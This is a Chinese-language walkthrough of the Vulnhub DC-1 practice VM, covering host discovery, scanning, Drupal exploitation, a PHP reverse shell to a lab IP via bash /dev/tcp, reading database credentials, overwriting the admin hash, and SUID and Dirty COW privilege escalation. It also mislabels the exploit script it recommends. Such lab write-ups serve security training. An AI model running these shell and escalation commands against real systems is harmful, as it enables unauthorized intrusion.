当前位置: 首页 > news >正文

Vulnhub靶场DC-1实战:从渗透到提权的完整指南

1. 环境准备与靶机发现

第一次接触Vulnhub的DC-1靶机时,我像大多数新手一样遇到了网络配置的困扰。这个基于Drupal 7的靶场需要特别注意网络模式设置——NAT模式是关键。我习惯性使用桥接模式导致始终找不到靶机IP,后来发现VirtualBox和VMware都需要将攻击机(Kali)和靶机(DC-1)的网卡统一设置为NAT模式。

找靶机IP的过程也很有意思。很多人一上来就用nmap -sP扫描整个网段,但实测发现arp-scan -l才是最快的:

sudo arp-scan -l --interface=eth0

这个命令能在3秒内返回结果,比nmap节省80%时间。看到10.0.2.5这样的IP时,记得用ping测试连通性:

ping -c 3 10.0.2.5

如果遇到IP冲突(比如多个同学在同一个局域网练习),可以修改VirtualBox的NAT网络配置,创建独立的子网环境。

2. 全方位信息收集技巧

确认靶机IP后,我通常会进行三层扫描

  1. 端口扫描nmap -A -T4 -p- 10.0.2.5显示开放了80端口
  2. Web指纹whatweb http://10.0.2.5确认是Drupal 7
  3. 目录爆破gobuster dir -u http://10.0.2.5 -w /usr/share/wordlists/dirb/common.txt

在Drupal登录页面(/user/login)测试SQL注入时,我发现直接手工测试效率太低。推荐使用sqlmap的精准检测模式:

sqlmap -u "http://10.0.2.5/?q=node/1" --risk=3 --level=5

但要注意,DC-1靶机其实不存在SQL注入漏洞,这时候就该转向版本漏洞利用。

3. Drupal漏洞利用实战

通过searchsploit drupal 7查找漏洞时,我发现Drupalgeddon2(CVE-2018-7600)是最佳选择。这里分享我的利用脚本优化技巧:

  1. 下载漏洞脚本后,先用dos2unix处理Windows换行符
  2. 修改脚本中的目标URL和回调IP
  3. 使用Python虚拟环境避免依赖冲突:
python2 -m virtualenv venv source venv/bin/activate pip install requests

执行漏洞利用时常见的报错是"Target is not vulnerable",这时候要检查:

  • 是否使用了正确的脚本版本(推荐EDB-ID-34992.py)
  • 目标URL是否包含http://前缀
  • 防火墙是否拦截了反弹shell连接

成功创建管理员账户后,记得在Drupal的"People"页面验证用户权限,这一步很多教程会忽略。

4. 反弹Shell的三种姿势

在Drupal后台获取Webshell时,我总结出三种可靠方法:

方法一:PHP Filter模块注入

  1. 启用Modules中的PHP filter
  2. 在Content页面创建Basic page
  3. 在正文插入:
<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.0.2.4/4444 0>&1'"); ?>

方法二:修改现有文章找到包含Flag的文章(如Flag3),在编辑界面切换到"Full HTML"格式后插入反弹代码。

方法三:通过Block注入Appearance → Blocks → 添加自定义Block,这种方式更隐蔽。

无论哪种方法,都要先在Kali开启监听:

nc -lvnp 4444

如果连接不稳定,可以尝试用rlwrap增强交互性:

rlwrap nc -lvnp 4444

5. 数据库提权全流程

拿到普通Shell后,我习惯先升级到完整TTY:

python -c 'import pty; pty.spawn("/bin/bash")'

查找数据库凭据时,find /var/www -name settings.php能快速定位配置文件。关键信息通常在:

$databases = array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', ), );

登录MySQL的技巧:

mysql -udbuser -pR0ck3t drupaldb

查询用户密码哈希:

SELECT name,pass FROM users;

密码破解我推荐组合使用:

  1. 先用hashcat识别哈希类型(Drupal使用SHA-512加盐)
  2. 使用专用脚本生成已知密码的哈希:
php ./scripts/password-hash.sh 123456
  1. 直接更新数据库密码更高效:
UPDATE users SET pass='$S$DksxodL...' WHERE uid=1;

6. 系统级提权终极方案

在DC-1靶机中,我发现了四种提权路径:

方案一:SUID提权

find / -perm -4000 2>/dev/null

发现find命令具有SUID权限时,使用:

find / -exec /bin/sh \; -quit

方案二:密码复用通过数据库密码R0ck3t尝试SSH登录:

ssh flag4@localhost

输入密码后成功登录。

方案三:内核漏洞使用uname -a查看内核版本,DC-1通常是3.x版本,可以尝试脏牛漏洞:

gcc -pthread dirty.c -o dirty -lcrypt ./dirty

方案四:定时任务劫持检查crontab -l发现没有可用任务时,可以查看系统日志找线索:

grep CRON /var/log/syslog

最终获取root权限后,别忘了查看/root目录下的final flag。整个渗透过程最深的体会是:信息收集的质量决定渗透的深度。每个步骤发现的线索都可能成为下一个突破点,比如数据库密码复用SSH这个关键转折,就是通过配置文件中的注释发现的提示。

http://www.jsqmd.com/news/504417/

相关文章:

  • StarRocks数据模型与分区分桶:选型策略与性能调优实战
  • 零基础入门YOLOv9:官方镜像快速部署与实战教程
  • 制造信息迷雾:无意义会议在AI时代对软件测试算力的消耗与应对策略
  • 让AI帮你读稿!Fish-Speech 1.5应用场景:短视频配音、课件讲解
  • DAMOYOLO-S部署教程:GPU内存泄漏排查与进程守护策略
  • 如何5倍提升ComfyUI下载速度:终极加速指南
  • 告别Windows Defender管理烦恼:defender-control工具的一站式解决方案
  • 2026年北京优质月嫂培训机构推荐榜:北京月嫂公司加盟哪家靠谱、北京月嫂培训公司面向全国招商加盟、北京正规家政月嫂公司招商连锁加盟选择指南 - 优质品牌商家
  • Super Qwen Voice World参数详解:Temperature与Top P调音实战指南
  • Qwen2.5-1.5B GPU显存优化教程:torch.no_grad+清空对话按钮双策略详解
  • 【Unity3D】TimeLine轨道(Track)全解析:从入门到精通
  • 内存预取黑科技:__builtin_prefetch在数据库和游戏开发中的高阶用法
  • PX4仿真新姿势:Xbox手柄控制Gazebo无人机的5个实用技巧
  • Modelsim仿真中正弦波生成与波形显示的实用技巧
  • 2026次氯酸钠消毒设备推荐榜:次氯酸钠除臭设备、电解次氯酸钠发生器、电解法二氧化氯发生器、次氯酸发生器、次氯酸水发生器选择指南 - 优质品牌商家
  • UI-TARS-desktop效果实测:自然语言指令控制浏览器,流畅如真人
  • Phi-3 Forest Laboratory 算法学习伙伴:操作系统核心原理问答实战
  • 保姆级教程:用Arduino IDE和RC522分析Mifare卡内存数据格式(附NAT-G213对比)
  • Vue项目集成高德地图AMapUI组件库:从轨迹巡航到自定义标记的实战指南
  • MikroTik RouterOS V7.6 IPv6实战配置指南:从双栈拨号到LAN部署
  • 【青龙面板进阶】Faker库版本全解析与安全拉库实战指南
  • 保姆级教程:在Ubuntu 22.04上手动部署Ollama服务,告别一键脚本的‘黑盒’
  • Vue2+Three.js实战:如何用阿里云地图数据打造3D中国地图(附完整代码)
  • 告别复杂配置!MogFace高精度人脸检测一键部署指南,小白也能快速上手
  • 互相关时延估计:从理论推导到FFT高效实现
  • ChatGPT润色指令实战:如何高效优化办公文档处理流程
  • Altium Designer实战:如何按照军工级标准设计原理图(附完整规范)
  • ChatTTS 本地部署 CentOS 实战指南:从环境配置到性能优化
  • 小红书数据采集效率提升实战指南:从反爬突破到合规落地
  • nodejs+vue基于springboot的学生证丢失补办管理系统